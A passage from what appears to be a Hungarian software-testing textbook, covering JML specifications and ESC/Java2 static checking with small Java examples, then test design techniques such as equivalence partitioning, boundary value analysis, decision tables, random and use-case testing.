konkrét gyermekben az ősben specifikált viselkedést meg kell valósítani. Ehhez meg kell mondani, hogy melyik konkrét mező valósítja meg a modell mezőt Ez a „represents” kulcsszó használatával lehetséges. 3-12 A fenti példát a következő utasításokkal lehet ellenőrizni: jmlc -Q bank3/*.java jmlrac bank3.Account Persze ehhez a Account osztályba kell írni egy main metódust is, hiszen az a belépési pont. Harmadik példa: //* Timer.java * package bank4; public interface Timer{ //@ public instance model int ticks; //@ public invariant ticks >= 0; //@ assignable this.ticks; //@ ensures this.ticks == ticks; void setTimer(int ticks); } //* Dish.java * package bank4; public class Dish implements Timer{ private /*@ spec public @/ int timer; //@ in ticks; //@ private represents ticks = timer; public void setTimer(int timer) { this.timer = timer;} } Ez a példa azt mutatja meg, hogyan kell modell mezőt létrehozni az interfészben. Mindent ugyanúgy kell

csinálni, csak a „model” kulcsszó elé be kell írni az „instance” kulcsszót, ami azt fejezi ki, hogy a modell változó példány szintű. Erre azért van szükség, mert egyébként Javában minden interfész mező statikus. Láttuk, hogy a specifikáció dinamikus ellenőrizhető az Iowa State University JML programmal. Szerencsére lehetséges a statikus ellenőrzés is az ESC/Java2 programmal. Az ESC/Java2 (Extended Static Checker for Java2) egy olyan segédeszköz, amely ellenőrizni tudja, hogy a Java forrás megfelel-e a JML specifikációnak. Az ESC/Java2 hasonlóan a FindBugs 3-13 programhoz figyelmezteti a programozót, ha null referenciára hivatkozik, vagy más gyakori programozói hibát vét. Erre akkor is képes, ha egy JML sor specifikációt se írunk Nyilván, ha kiegészítjük a kódunkat JML specifikációval, akkor sokkal hasznosabban tudjuk használni. Az ESC/Java2 program is csak a Java 1.4 verziójáig támogatja a Java nyelvet Ez is

telepíthető Eclipse pluginként a http://kind.ucdie/products/opensource/Mobius/updates/ címről Miután feltelepítettük két új perspektívát kapunk, a Validation és a Verification nevűt. Az elsőben 3 új gombban bővül a menüsor alatti eszköztár. Ezek a következőek: JML, JMLC, és a JMLRAC gomb, amelyek az azonos nevű segédprogramot hívják az Iowa State University JML programcsomagból. A második perspektívában 5 új gombot kapunk. Ezek közül a legfontosabb az első, amely elindjtja a ESC/Java2 ellenőrző programot. A többi gomb balról jobbra haladva a következők: jelölők (jelölőknek nevezzük a hiba helyét jelölő piros ikszet) törlése, ugrás jelölőre, ellenörzés engedélyezése, ellenőrzés tiltása. Ezeket nem találtuk különösebben hasznosnak Ami hasznos volt számunkra az az ESC/Java2 menüben található Setup menü. Itt lehet bekapcsolni az automatikus ellenőrzést, aminek hatására minden egyes mentés után lefut az ESC/Java2.

Nézzünk egy egyszerű példát, amikor JML specifikáció nélkül is hibát fedez fel a kódunkban az ESC/Java2. package probe; public abstract class Decorator extends Car { Car target; public int getSpeed(){ return target.getSpeed(); } } Itt az ötödik sorra azt a hibát kapjuk, hogy „Possible null dereference (Null)”. Ez a figyelmeztetés teljesen jogos, segíti a programozót kijavítani egy hibát. Nézzük meg azt a példát, amivel a FindBugs nem boldogult: public static void main(String[] args){ Object o = null; int i = 1; if(i == 1) o = "hello"; System.outprintln(otoString()); } Erre az ESC/Java2 semmilyen hibát nem ad. Ez azért lehetséges, mert mögötte egy automatikus tételbizonyító áll, ami meg tudja nézni, hogy valamely feltétel igaz vagy sem az egyes lehetséges végrehajtási utakon. 3-14 Ugyanakkor a ESC/Java2-höz adott Simplify nevű automatikus tételbizonyító nem túl okos. Például nem tudja, hogy két pozitív szám szorzata

pozitív, ezért ad hibát a következő példára: public class Main { //@ requires n>=0; //@ ensures esult > 0; public int fact(int n){ if (n==0) return 1; return n*fact(n-1); } } Itt az ESCJava2 hibásan a „Postcondition possibly not established (Post)” figyelmeztetést adja, pedig a függvény tökéletesen betartja az utófeltételét. Szerencsére az ESCJava2 alatt kicserélhető az automatikus tételbizonyító. 3-15 Tartalomjegyzék 3 Statikus tesztelési technikák . 3-1 3.1 Felülvizsgálat. 3-1 3.11 Informális felülvizsgálat . 3-2 3.12 Átvizsgálás . 3-2 3.13 Technikai felülvizsgálat . 3-4 3.14 Inspekció . 3-5 3.2 Statikus elemzés . 3-6 3.21 Statikus elemzés csak a forráskód alapján . 3-7 3.22 Statikus elemzés a forráskód és modell alapján . 3-8 3-16 Szoftver tesztelés 4 Teszt tervezési technikák Az előző fejezetben áttekintettük a statikus tesztelési technikákat. Ezek a módszerek nem igénylik

a tesztelendő rendszer futtatását, sőt bizonyos esetekben még a forráskód meglétét sem. A dinamikus tesztelési technikák viszont a tesztelendő rendszer futtatását igénylik. Ebben a fejezetben a dinamikus tesztek tervezési kérdéseivel foglalkozunk. Definiáljuk a szükséges fogalmakat, megismerjük a teszt tervezési technikák megközelítési módjait, áttekintjük a legelterjedtebb specifikáció alapú, struktúra alapú és gyakorlat alapú tesztelési technikákat, majd megvizsgáljuk az egyes technikák közötti választás szempontjait. A dinamikus tesztelési technikák elsősorban a komponens teszt, azon belül is főleg a unitteszt (egységteszt) fázis eszköze. Mivel a teszteléssel kapcsolatos magyar nyelvű irodalom máig is igen kevés, az érdeklődőbb hallgatók elsősorban az angol nyelvű szakirodalom tanulmányozása során juthatnak új ismeretekhez. Ennek megkönnyítésére a fontosabb fogalmak első előfordulása során annak angol nyelvű

megnevezését is közöljük. 4.1 Alapfogalmak A dinamikus tesztek tervezése alapvetően az alábbi három lépésből áll: • • • A tesztelés alanyának, céljának meghatározása (test condition) Tesztesetek (test cases) specifikálása Teszt folyamat (test procedure) specifikálása A tesztelési folyamathoz kapcsolódnak még a teszt készlet (test suite), hibamodell és lefedettség (test coverage) fogalmak is. 4.11 Tesztelés alanya (test condition) A tesztelés alanya lehet rendszer egy olyan jellemzője, amely ellenőrizhető egy vagy több teszt esettel. Ilyen lehet például: • • • • • funkció, tranzakció, képesség (feature), minőségi jellemző, strukturális elem. 4-1 Szoftver tesztelés 4.12 Teszteset Egy teszteset az alábbi összetevőkből áll: • • • • végrehajtási prekondíciók (preconditions) input értékek halmaza elvárt eredmény végrehajtási posztkondíciók (postconditions) Egy teszteset célja egy meghatározott

vezérlési út végrehajtatása a tesztelendő program egységben, vagy egy meghatározott követelmény teljesülésének ellenőrzése. Egy teszteset végrehajtása esetén a rendszert egy megadott kezdő állapotban kell hozni (prekondíciók), megadott input értékek halmazával végre kell hajtatni a tesztelt elemet, majd a teszt futásának eredményét össze kell hasonlítani az elvárt eredménnyel és ellenőrizni kell, hogy a végrehajtás után a rendszer az elvárt állapotba (posztkondíciók) került-e. Példaként tételezzünk fel egy olyan program modult, amely a felhasználótól bekér néhány adatot, és megnyomja a „Számolj”gombot. A modul a megadott adatokat és adatbázisban tárolt egyéb értékeket felhasználva elvégez valamilyen számítást, majd az eredményeket adatbázisba menti. Ennek a modulnak egy tesztesete tartalmazza: • • • • a felhasználói adatokat (input értékek halmaza), a számítás helyes eredményét (elvárt

eredmény), prekondícióként azt, hogy a felhasználó megnyomta a „Számolj” gombot, és az adatbázis tartalmazza a számításhoz szükséges értékeket, posztkondícióként, hogy a számítás eredményei bekerültek az adatbázis megfelelő tábláiba. 4.13 Teszt specifikáció Egy teszteset végrehajtásához szükséges tevékenységek sorozatának a leírása. Szokás teszt forgatókönyvnek (manual test script) is nevezni. 4.14 Tesztkészlet Egy tesztkészlet tesztesetek és hozzájuk tartozó teszt specifikációk halmaza. Csoportosítható egy teszt alanyra, vagy egy vizsgált hibára. A tesztkészletet megfelelő módon archiválni kell, mert egy tesztkészletet a fejlesztés során többször is végre kell hajtani, sőt, a rendszer későbbi változtatásainál is szerepet kap, annak ellenőrzésére használható, hogy a változtatás hatására nem keletkezett-e újabb hiba. 4-2 Szoftver tesztelés 4.15 Hibamodell Azon (feltételezett) szoftver hibák

halmaza, amelyre a teszt tervezés irányul. A tesztesethez kapcsolódó példához a hibamodell azt rögzítheti, hogy az alábbi hibák következhetnek be: • • • számítási hibák, adatbázis lekérdezési hibák (rossz adatokat használunk fel a számításhoz), az adatbázisba módosításának hibák (a számítás eredménye rosszul kerül be az adatbázisba). A hibamodell a tesztesetek tervezéséhez ad támpontokat. 4.16 Teszt folyamat Egy rendszer teljes tesztelésének megtervezéséhez (ami a teszt menedzsment egyik feladata, így a következő fejezetben foglalkozunk vele részletesebben), az alábbiakat foglalja magában: • • • a szükséges tesztelési célok meghatározása, minden tesztelési célhoz a szükséges tesz készlet definiálása az egyes teszt készletekben foglalt tesztek ütemezésének és a végrehajtásuk dokumentálásának megtervezése. A teszt folyamat terve a rendszer specifikációjának egy fejezete lehet, de összetettebb

rendszerek esetén általában külön teszt specifikáció készül. 4.17 Teszt lefedettség A teszt lefedettség a számszerű értékelése annak, hogy a tesztelési tevékenység mennyire alapos, illetve hogy egy adott időpontban hol tart. A „Már majdnem kész vagyok, főnök!” és a „Három hete ezen dolgozom, főnök!” meglehetősen szubjektív mértékek. (Nem tudom megállni ezen a ponton, hogy ne idézzem a szoftverfejlesztés egyik alapvető „természeti törvényét”: egy szoftver projekt a rendelkezésre álló idő 90%-ában 90%-os készültségi fokon áll) Amióta felismertük, hogy a tesztelés a fejlesztési folyamat fontos (és sajnos erőforrás igényes, tehát költséges) része, folyamatosan keressük a folyamat előrehaladásának a mérési lehetőségeit. A teszt lefedettség számszerűsítése alkalmas a tesztelési tevékenységet értékelésére az alábbi szempontok szerint: • Lehetőséget ad a tesztelési tevékenység minőségének

mérésére. 4-3 Szoftver tesztelés • Lehetőség biztosít arra, hogy megbecsüljük, ennyi erőforrást kell még a fejlesztési projekt hátralevő idejében tesztelési tevékenységre fordítani. Az egyes tesztelési technikák más és más lefedettségi mérőszámokat alkalmaznak. A specifikáció alapú technikák esetén arra adhatnak választ, hogy a követelmények milyen mértékben lettek tesztelve, a struktúra alapú technikák esetén pedig, hogy a kód milyen mértékben lett ellenőrizve. A lefedettségi mérőszámok tehát arra nézve adnak információt, hogy milyen készültségi szinten áll a tesztelési tevékenység, és a tesztelési terv részeként meghatározzák, hogy milyen feltételek esetén tekinthetjük a tevékenységet késznek. 4.2 A teszt tervezési technikák fajtái A szoftver technológia kialakulása óta számos teszt tervezési technika alakult ki. Ezek különböznek a hatékonyságuk, implementálásuk nehézsége, az

elméleti háttér és a mindennapi fejlesztési gyakorlatból leszűrt heurisztikák arányában. Ha áttekintjük a számos publikált technikát és értékeljük ezeket a gyakorlati alkalmazhatóság szempontjából, akkor a technikákat három lényeges csoportba sorolhatjuk: • • • • Specifikáció alapú technikák. Ezek a módszerek a teszteseteket közvetlenül a rendszer specifikációjából (modelljéből) vezetik le. Black-box technikáknak is nevezzük ezeket, mert az egyes szoftver modulok belső szerkezetének ismerete nélkül, az egyes modulok által teljesítendő funkcionalitások alapján tervezhetjük meg a teszt eseteket. Modell alapú technika (Model-driven testing). Valójában az előző csoportba tartozik, csak formalizáltabb technika. Közvetlenül az UML modellből vezeti le a teszteseteket, és formalizált teszt specifikációt alkalmaz. Erre használható az UML kiterjesztése (UTP – UML Testing Profile.) Struktúra alapú technikák. Ezek a

módszerek a kód ismeretében határozzák meg a teszteseteket. White-box technikáknak is nevezzük Gyakorlat alapú technikák. A tesztelőknek a munkájuk során megszerzett tapasztalatira épülő, a szakmai intuíciókat is értékesítő technikák. Természetesen léteznek olyan teszt tervezési módszerek is, amelyek egyik fenti kategóriába sem sorolhatók be, azonban a gyakorlatban alkalmazott módszerek összefogására a jelen jegyzet szintjén ezek a kategóriák beváltak. A továbbiakban ennek a csoportosításnak megfelelően foglaljuk össze az ismertebb technikákat. 4.3 Specifikáció alapú technikák Ezek a technikák a tesztelés alapjaként a rendszer specifikációját, esetleg formális modelljét tekintik. Amennyiben a specifikáció jól definiált és megfelelően strukturált, ennek elemzése 4-4 Szoftver tesztelés során könnyen azonosíthatjuk a tesztelés alanyait (test conditions), amelyekből pedig származtathatjuk a teszteseteket. A

specifikáció soha nem azt rögzíti, hogy hogyan kell a rendszernek megvalósítania az elvárt viselkedést (ennek meghatározása a tervezés feladata), csak magát a viselkedést definiálja. A specifikáció és a tervezés a fejlesztés folyamatában is külön fázist képviselnek, és gyakran a fejlesztő csoporton belül nem is ugyanazok a részvevők végzik. A specifikációs fázis legtöbbször megelőzi a tervezési fázist. Ez lehetővé teszi a munkafolyamatok párhuzamosítását: a specifikáció alapján a tesztmérnökök kidolgozhatják a teszteseteket miközben a rendszer tervezése és implementálása folyik. Ha az implementáció elkészül, a már kész tesztesetek futtatásával lehet ellenőrizni. A tevékenységek ilyen párhuzamosítása a fejlesztés átfutási idejének rövidítésén túl a specifikáció ellenőrzésére is alkalmas. Ha ugyanis egy, a működő program ismerete nélkül, csak a specifikáció elemzése alapján megtervezetett

teszteset hibát mutat ki, annak két oka lehet • • a tervezés vagy az implementáció során a fejlesztők által elkövetett hiba, ugyanazt a követelményt a teszt mérnök és a tervező másként értelmezte – ez a specifikáció hibája. Nem minden fejlesztési projekt alapul pontosan definiált specifikáción. Ebben az esetben a specifikáció alapú tesztesetek megtervezése, illetve a tervezéshez szükséges információk megszerzése párhuzamosan, egymástól elkülönítve történhet, ami többlet erőforrások felhasználását, és a félreértések esélyének növekedését jelenti. Van azonban olyan eset is, amikor a formális specifikáció hiánya nem jelenti a tesztelési tevékenység megnehezítését. Az agilis fejlesztési szemlélet ugyanis nem követeli meg formális specifikáció elkészítését. Ez a megközelítés azonban éppen a tesz tervezés fontosságát emeli ki: a specifikáció szerepét a tesztesetek veszik át: a fejlesztés során

először egy funkcióhoz tartozó teszteseteket kell megtervezni. Az implementációs fázis befejezését az jelenti, ha az összes (előre megtervezett) teszteset hiba kimutatása nélkül fut le. A tesztelési technikák ismertetése során többször fogunk hivatkozni az alábbi „specifikációkra”: S1: Készítsünk programot, amely beolvas egy egész számot, és kiírja, hogy az negatív, pozitív, vagy nulla-e. S2: Készítsünk programot, amely beolvas három egész számot, amelyek egy háromszög oldalhosszait reprezentálják. A feladat annak megállapítása, hogy a bemeneti adatok általános, egyenlőszárú vagy egyenlő oldalú háromszöget alkotnak-e. A tesztelési folyamat nehézségére utal, hogy ennek a nagyon egyszerű specifikációnak megfelelő programnak a korrekt ellenőrzésére is számos teszt esetet kell definiálnunk. 4-5 Szoftver tesztelés A továbbiakban áttekintjük a legismertebb specifikáció alapú tesztelési technikákat. 4.31

Ekvivalencia particionálás (Equivalence partitioning) Ennek a technikának az alapja az a megfigyelés, hogy vannak olyan különböző input értékek, amelyekre a programnak ugyanúgy kell viselkednie. Ekvivalencia osztálynak nevezzük az input értékek olyan halmazát, amelyre ugyanúgy kell viselkednie a programnak. Ez azt jelenti, hogy egy ekvivalencia osztályhoz elég egy teszt esetet megtervezni és lefuttatni, mert az osztályhoz tartozó lehetséges tesztesetek • • ugyanazt a hibát fedhetik fel, ha egy teszteset nem fed fel egy hibát, azt az osztályhoz tartozó más tesztesetek sem fogják felfedni. Az ekvivalencia osztályok meghatározása jelentősen csökkentheti a szükséges tesztesetek számát. Az S1 specifikációnak megfelelő program kimerítő tesztelése esetén a tesztesetek száma az ábrázolható egész számok számával azonos. Nyilvánvalóan azonban a tesztesetek száma háromra korlátozható, mert feltételezhető, hogy ha a program az 1

bemenetre a „pozitív” választ adja, akkor 23458-re is azt fogja adni. Az ekvivalencia osztályok meghatározása heurisztikus folyamat. Meghatározásuk során meg kell keresnünk az érvényes és az érvénytelen bemenetek osztályát is. Az S1 specifikáció matematikai értelmezése szerint nem lehetnének érvénytelen bemenetek, hiszen minden egész szám besorolható a specifikáció szerinti kategóriák valamelyikébe. Egy számítógépes program azonban nem képes az egész számok teljes halmazát leképezni, így meg kell vizsgálni azt az esetet, hogy ha az input olyan egész számot tartalmaz, ami az ábrázolási tartományok kívülre esik. Az ekvivalencia osztályok átfedhetik egymást. Ennek felismerése tovább csökkentheti a szükséges tesztesetek számát, hiszen a közös részhalmazból választott teszteset az átfedett osztályok mindegyikére érvényes. Az S2 specifikációra ekvivalencia osztályok lesznek például • • • három olyan

pozitív szám, ami általános háromszöget alkot (érvényes ekvivalencia osztály) Az egyik szám negatív (nem érvényes ekvivalencia osztály) stb. 4.32 Határérték analízis (Boundary value analysis) Ennek a technikának az alapja az a megfigyelés, hogy a határértékek kezelésénél könnyebben követnek el hibát a programozók, mint az „általános” eseteknél. 4-6 Szoftver tesztelés Célszerű tehát az ekvivalencia osztályok határértékeit külön megvizsgálni. Az S2 specifikáció esetén ilyen határértékek például: • • két szám összege egyenlő a harmadikkal mindhárom szám 0 Figyelni kell a kimeneti ekvivalencia osztályok határértékeit is. Ehhez persze sokszor "visszafelé" kell gondolkodni, tehát meg kell határozni azon input értékek halmazát, amelyek határértékként kezelhető kimeneteket produkálnak. Tipikus probléma a konténer típusú adatszerkezetek elemszáma, vagy a sorszámozott típusú adatszerkezetek

"végei"! Példaként vegyük egy program modult, amelynek feladata egy minta megkeresése egy sorozatban. A határérték analízis során megtalálható tesztesetek: • • • • • 0 hosszúságú sorozat 1 hosszúságú sorozat, a minta nincs benne / a minta benne van >1 hosszúságú sorozat, a minta az első / utolsó helyen van 2 hosszúságú sorozat (nincs benne / első /utolsó) nagyon nagy elemszámú sorozat 4.33 Ok-hatás analízis (Cause-effect analysis) Ez a technikai egy döntési táblát épít fel, amelynek az oszlopai adják meg a definiálandó teszteseteket, ezért döntési tábla (decision table) technikának is nevezik. A módszer alapgondolata az, hogy a specifikáció gyakran olyan formában írja le a rendszer által megvalósítandó üzleti folyamatokat, hogy az egyes tevékenységeknek milyen bemeneti feltételei vannak. Az előző két módszer nem vizsgálja a bementi feltételek kombinációit A bemeneti feltétel (ok) lehet

például: • • • egy input adat valamilyen értékére vonatkozó előírás, input adatok egy ekvivalencia osztálya, valamilyen felhasználói akció vagy egyéb esemény bekövetkezése stb. A kimeneti feltétel (hatás) megmondja, hogy az okok egy kombinációjára a rendszernek milyen állapotot kell elérnie. A bementi és kimenti feltételekhez logikai érték rendelhető. (Teljesül-e: igen-nem) Ez a megközelítés a rendszert egy logikai hálózatnak tekinti, ahol a lehetséges bemenetekhez a specifikáció által megadott szükséges kimeneteket rendeljük hozzá. Ennek a logikai hálózatnak az igazságtáblája egy döntési táblázatban ábrázolható. A táblázat soraiban az 4-7 Szoftver tesztelés okokat és a hatásokat soroljuk fel, a cellákban pedig azok logikai értéke található. A táblázat minden egyes oszlopa egy megvalósítandó teszt esetet definiál. Lássunk erre egy egyszerű példát: Egy áruház pontgyűjtő kártyát bocsát ki.

Minden vásárló, akinek van ilyen kártyája, minden vásárlása során dönthet, hogy 5% kedvezményt kér a számla összegéből, vagy a kártyán lévő pontjait növeli meg. Az a vásárló, akinek nincs ilyen kártyája, szintén megkaphatja az 5% kedvezményt, ha 50.000 Ft felett vásárol A bemeneti feltételek (okok) ebben az esetben: • • • Van-e pont pontgyűjtő kártya? Kéri-e a kártyatulajdonos a kedvezményt? 50.000 Ft felett van-e a vásárlás összege? A kimeneti feltételek (hatások): • • • Nincs kedvezmény Kedvezmény jóváírása Pontok jóváírása A döntési tábla: Okok: O1 Van-e pontgyűjtő kártya? O2 Kéri-e a kártyatulajdonos a kedvezményt? O3 50.000 Ft felett van-e a vásárlás összege? Hatások: H1 Nincs kedvezmény H2 Kedvezmény jóváírása H3 Pontok jóváírása T1 T2 T3 T4 I H I I H - H - - - H I I H I H I H I H H H I H A táblázatban az Igaz – Hamis logikai értékek mellett megjelenik a – jel

is, amelynek kétféle jelentése lehet: • • a bemeneti feltételt a többi feltétel adott állapota kizárja (mint az O2 sorban), a kimeneti feltétel a többi feltétel adott állapota mellett független a bemeneti feltétel állapotától (mint az O3 sorban). Ez a jelölés (amely egyfajta háromértékű logikát használ) csökkenti az oszlopok (és ezzel a szükséges tesztesetek) számát. 4-8 Szoftver tesztelés Ha a döntési táblát egy logikai hálózat igazságtáblázatának tekintjük, a bementi feltételek összes lehetséges kombinációit tartalmaznia kellene. Ezek száma, tehát a döntési tábla oszlopainak a száma igen nagy lehet. A teszt tervezés számára hasznos döntési táblában az oszlopos számát csökkentheti: • • • a példában is alkalmazott „háromértékű logika” használata, az a tény, hogy a specifikáció szerint egyes bemeneti feltételek egymást kizárhatják, nem minden lehetséges bemeneti feltétel kombinációhoz

tartozik hatás. A teljes döntési táblától megkülönböztetve az így kapott táblázatot szűkített döntési táblázatnak (limited entry decision table) nevezzük. A specifikációból előállított döntési tábla, amellett hogy jól áttekinthető kiindulópontja lehet a tesztesetek tervezésének, „mellékhatásként” alkalmas a specifikáció konzisztenciájának és teljességének az ellenőrzésére is, ezáltal a specifikáció tesztelésének is eszköze. A specifikáció hiányosságaira utalhat például az, hogy táblázatban tudunk olyan oszlopot előállítani, amelyben a bemeneti feltételeknek egy, a valóságban előfordulható kombinációja található, de nem tartozik hozzá a specifikációban hatás. (Hiányos specifikáció) A döntési tábla előállításának van egy formális módszere, amely főleg nagy méretű táblázatok esetén lehet hasznos. Ehhez ismét abból kell kiindulni, hogy a rendszert egy logikai hálózatként tekinthetjük,

ahol a bementi feltételek, a döntésekhez szükséges közbenső feltételek és a kimenetet jelentő hatások a hálózat elemei. Az ilyen hálózatokat az úgynevezett bool gráffal ábrázolhatjuk. A bool gráf jellemzői: • • • • • • Csomópontjai a 0 vagy 1 (igaz/hamis) értékeket vehetik fel. Az irányított élek logikai műveleteket jelentenek Egy csomópont értékét a befutó élek kiindulási csomópontjainak értéke, és a csomóponthoz rendelt művelet határozza meg. A gráfban minden ok és minden hatás egy csomópontként jelenik meg, ezek között lehetnek közbenső állapotok. Az okokban megfelelő csomópontokhoz csak kiinduló élek tartoznak. A hatásoknak megfelelő csomópontokból nem indulhatnak ki élek. A bool gráf alapelemeinek egy lehetséges jelölésmódja: 4-9 Szoftver tesztelés 4-1. ábra A bool gráf jelölésrendszere A gráfot a specifikációból építjük fel, az alábbiak szerint: • • • • • ok: egy

bemeneti feltétel vagy egy bemeneti ekvivalencia osztály hatás: a kimeneti feltétel minden ok és hatás egy számot kap a tartalmat elemezve építjük fel a gráfot feljegyezzük azokat a feltételeket, amelyeket nem tudtunk a gráffal ábrázolni. A gráfból előállítjuk annak igazságtáblázatát, az alábbiak szerint • • • • • A cellákban 0 vagy 1 szerepel A sorok az okok és a hatások Az oszlopok számát az adja meg, hogy hány lehetséges bemeneti kombináció tudja előidézni legalább egy kimenet 1 értékét. Az oszlopok számát csökkentheti, ha a hatásokra kirótt korlátozásokat figyelembe vesszük. A hatásokból kiindulva ("visszafelé") töltjük ki a táblázatot. Az igazságtáblából a tesztesetek levezetése (azaz a szűkített döntési tábla előállítás) az alábbi lépésekből áll: • • Kitöröljük azokat az oszlopokat, amelyek ütköznek az okokra feljegyzett korlátozásokkal A maradék oszlopok egy-egy

tesztesetnek felelnek meg, ahol o az okok soraiban 0 a feltételnek nem megfelelő adatot, 1 a feltételnek megfelelő adatot jelent, o a hatások 0 – 1 értékei adják az elvárt eredményt. 4-10 Szoftver tesztelés 4.34 Véletlenszerű adatok generálása Ez a technika azon alapul, hogy automatikusan, véletlenszerűen állítunk elő bemeneti adatokat, és ezekkel futtatjuk a tesztelendő modult. Bár ennek a módszernek a hibafeltáró képessége is véletlenszerűnek tűnik, számos szempont szól az alkalmazása mellett: • • • • • • Kis erőforrás igény. Viszonylag könnyen automatizálható. Nagytömegű adattal tesztelhető a modul/rendszer. A "vak tyúk is talál szemet" elv alapján esetleg olyan hibára is fényt deríthet, amelyre a determinisztikus tesztek tervezése során nem gondoltunk. Ez a módszer használható "monkey test"-ként, amellyel a próbálkozó felhasználó viselkedéséhez hasonló hatást érhetünk el.

Terhelési tesztre is alkalmas lehet. A véletlenszerű adatok generálása mindig egy adott tartományba eső (általában egyenletes eloszlású) számok előállítását jelentik. A tartomány lehet az adott adat érvényességi tartomány, vagy éppen azon kívüli (ebben az esetben a rendszernek a hibás bemenetekre adott válaszát tesztelhetjük). Terhelési tesztként használva gyakran lehet becslésünk arról, hogy a bemenetei adatok az éles használat esetén milyen eloszlást követnek, ilyenkor az egyenletes eloszlás helyett a becsült eloszlásnak megfelelő adatokat generálhatunk. A véletlenszerű teszt generálás esetén sajátos problémaként jelenik meg a kimenetek ellenőrzése. Mivel ez automatizálást feltételező módszer, az elvárt kimentek előállítása és azoknak a teszt eredményekkel való összehasonlítása is automatizáltan kell történjen. Ez a probléma a többi technika esetén is felmerül, ezért erre a későbbiekben még

visszatérünk. Ennél a módszernél azonban az is felmerülhet, hogy nem is vizsgáljuk a kimenetek helyességét, ehelyett a rendszer viselkedésére helyezzük a hangsúlyt, és csak arról akarunk meggyőződni, hogy a folyamatos működés során nem lépnek fel váratlan események. 4.35 Használati eset (use case) tesztelés A mai fejlesztési projektekben a specifikáció gyakran használt eszköze a használati eset (use case) modell felépítése. Ilyen esetekben a teszt tervezés vezérfonalát a használati eset modell elemei alkotják, sőt, a teszteseteket is leírhatjuk használati esetekkel. Ebben az esetben a használati esetek és a tesztesetek összerendelése hasznos eszköz lehet annak eldöntésére, ellenőrzésére, hogy hol tartunk a tesztelési folyamatban. Ezt legegyszerűbben egy teszt lefedettségi mátrixszal ábrázolhatjuk, amit az alábbi ábra mutat: 4-11 Szoftver tesztelés Test eset 1 2 3 4 5 1 Használati esetek 2 3 4 5 A szürkített

cellák azt mutatják, hogy melyik teszteset melyik használati eset funkcióinak tesztelésére szolgál. A teszt lefedettségi mátrix segíthet a tesz futtatások ütemezésében, és ellenőrizhető segítségével, hogy minden használati esethez tartozik-e legalább egy teszt eset. 4.36 Az elvárt eredmény előállításának problémája Az előzőekben mindig feltételeztük, hogy az elvárt eredmény, amit a teszt futás kimenetével össze tudunk hasonlítani rendelkezésünkre áll. Ez azonban a gyakorlatban nem mindig ilyen egyszerű, mert az ellenőrzendő modul működése lehet nagyon bonyolult, sok számítási lépést igénylő folyamat, amit manuálisan nem tudunk elvégezni. A probléma lehetséges megoldásai: • • • • A valós feladatnál sokkal kisebb méretű feladatot adunk teszt esetként, amit kézzel is végig lehet számolni. Ugyanazt a problémát más programmal is megoldatjuk, és annak az eredményét használjuk fel a teszt kimenetének

ellenőrzésére. Szimulációs szoftvert használunk. Bár a kimenetet számszerűen nem tudjuk ellenőrizni, de tudjuk, hogy az eredménynek bizonyos szerkezeti sajátosságokat kell mutatnia. Példaként említhetünk egy olyan projektet, amelyben jelen fejezet szerzőjének egy geofizikai modellező rendszer programjának elkészítése volt a feladata. A matematikai modell egyik része egy több százezer ismeretlenes lineáris egyenletrendszer együttható mátrixának a felépítését és az egyenletrendszer megoldását igényelte. Nyilvánvaló, hogy ennek a modulnak a kimenetét nem lehet úgy ellenőrizni, hogy kézzel kiszámítjuk az eredményt. A tesztelés ezért több lépcsőben történt: • • Először egy erősen redukált elemszámú (tíz körüli ismeretlent tartalmazó) feladatot oldattunk meg, amelynek természetesen fizikai realitása nincs, de az eredményét manuálisan is lehet ellenőrizni. A „manuális ellenőrzés” persze már ebben az esetben

is jelentheti segédprogramok igénybevételét. A következő lépcső az együtthatómátrix valós értékei helyett olyan speciális értékek beállítását jelentette, amellyel az egyenletrendszer megoldásának helyességét könnyű tesztelni. (Például ha az együttható mátrix az egységmátrix, akkor a megoldás vektornak azonosnak kell lennie a jobboldal vektorával.) 4-12 Szoftver tesztelés • • Rendelkezésre állt olyan, korábban kifejlesztett és letesztelt program, amely az adott fizikai probléma speciális, egyszerűsített eseteit tudta kezelni. Ugyanezt a problémát a tesztelendő programmal is megoldva, az eredmények összehasonlíthatók voltak. Lehetett olyan input adatokat generálni, amelyekhez tartozó eredménynek a fizika törvényei szerinti meghatározott sajátosságokat kellett mutatnia: szimmetriát, megadott peremfeltételekkel való egyezést stb. Ezekben az esetekben az kimenet egyes elemeinek a numerikus helyességét nem lehetett

ellenőrizni, csak a törvényekkel való egyezőséget. 4.4 Struktúra alapú technikák Ezeknek a módszereknek az alapja az a tapasztalat, hogy a programozási hibák gyakran a vezérlési szerkezeteket érintik. A tesztelés célja tehát a kód struktúrájának a felderítése és helyességének ellenőrzése, ezért a tesztesetek generálása a forráskód elemzése alapján történik. Ebben a szemléletben a tesztesetek megtervezése során az a cél, hogy a vizsgált kód minden ágát végrehajtva vizsgáljuk annak működését. Mivel egy bonyolult kód végrehajtási útjainak száma nagyon magas lehet, általában nem túl nagy egységek képezik a tesztelés tárgyát. A kódbejárás alapját a kód matematikai modellje, a vezérlési folyamat gráf (control-flow graph, CFG) képezi. A vezérlési folyamat gráf egy olyan irányított gráf, amelyben a csomópontok a program utasításainak felelnek meg, az irányított élek pedig a végrehajtásuk sorrendjét

jelölik ki. Egy döntési utasításnak megfelelő csomópontból több él indul ki, a vezérlési ágak összekapcsolódási pontjában elhelyezkedő utasításhoz pedig több él fut be. A ciklust visszafelé irányuló él reprezentálja. A vezérlési folyamat gráf a forráskódból automatikusan előállítható, erre megfelelő segédeszközök állnak rendelkezésre. A folyamat gráf elemzésére, különböző jellemzőinek meghatározására pedig a matematika számos kidolgozott gráfelméleti algoritmust biztosít. A tesztelés hatékonyságának mérésére mérőszámokat használhatunk. A mérőszámok meghatározására szintén rendelkezésre állnak a megfelelő algoritmusok és az azokat végrehajtani képes eszközök. 4.41 A struktúra alapú technikák alkalmazási területei Vezérlés intenzív alkalmazások • Ebben a kategóriában valószínűleg igaz, hogy a hibák a sok esetben a vezérlési szerkezeteket érintik. Algoritmus hibákat is kimutathat

